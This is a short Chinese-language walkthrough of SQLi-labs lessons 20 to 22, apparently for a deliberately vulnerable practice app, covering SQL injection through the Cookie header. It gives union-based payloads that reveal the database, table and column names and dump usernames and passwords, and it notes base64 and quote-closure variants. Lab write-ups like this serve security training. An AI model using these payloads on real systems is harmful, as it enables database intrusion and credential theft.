Less-20
POST - Cookie injections - Uagent field -error based
-
基于错误的cookie请求头注入。
-
首先我们要了解一下cookie的作用,cookie是非常重要的请求头,它是一段文本,常用来表示请求者身份等。通过下面的源代码能够了解到,输入正确用户名和密码登陆后,服务器会将用户名和密码记录在cookie中。那么这样的作用就是下一次客户端只要提交cookie就能登陆。
-
首先登陆,通过抓包获得cookie:
-
第一个包
第二个包
-
以Cookie为注入点进行注入:
爆库名:
1' union select 1,2,database() #
爆表明:
1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' #
爆列名:
uname=1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' #
爆数据:
uname=1' union select 1,2,group_concat(username,0x7e,password)from security.users #
Less-21 Cookie injection- base64 encoded-single qoutes and parenthesis
- 基于base64编码单引号和括号的Cookie注入。
- 类似于Less-20,注入点也是在Cookie,注入语句相同。但,闭合方式为
单引号
小括号:')
,并且需要将注入语句进行base64
编码。
Less-22 Cookie Injection - base64 encoded - double quotes
- 基于错误的双引号字符型Cookie注入。
- 类似于Less-21,注入点也是在Cookie,注入语句相同,需要将注入语句进行
base64
编码。但,闭合方式为双引号
:"
。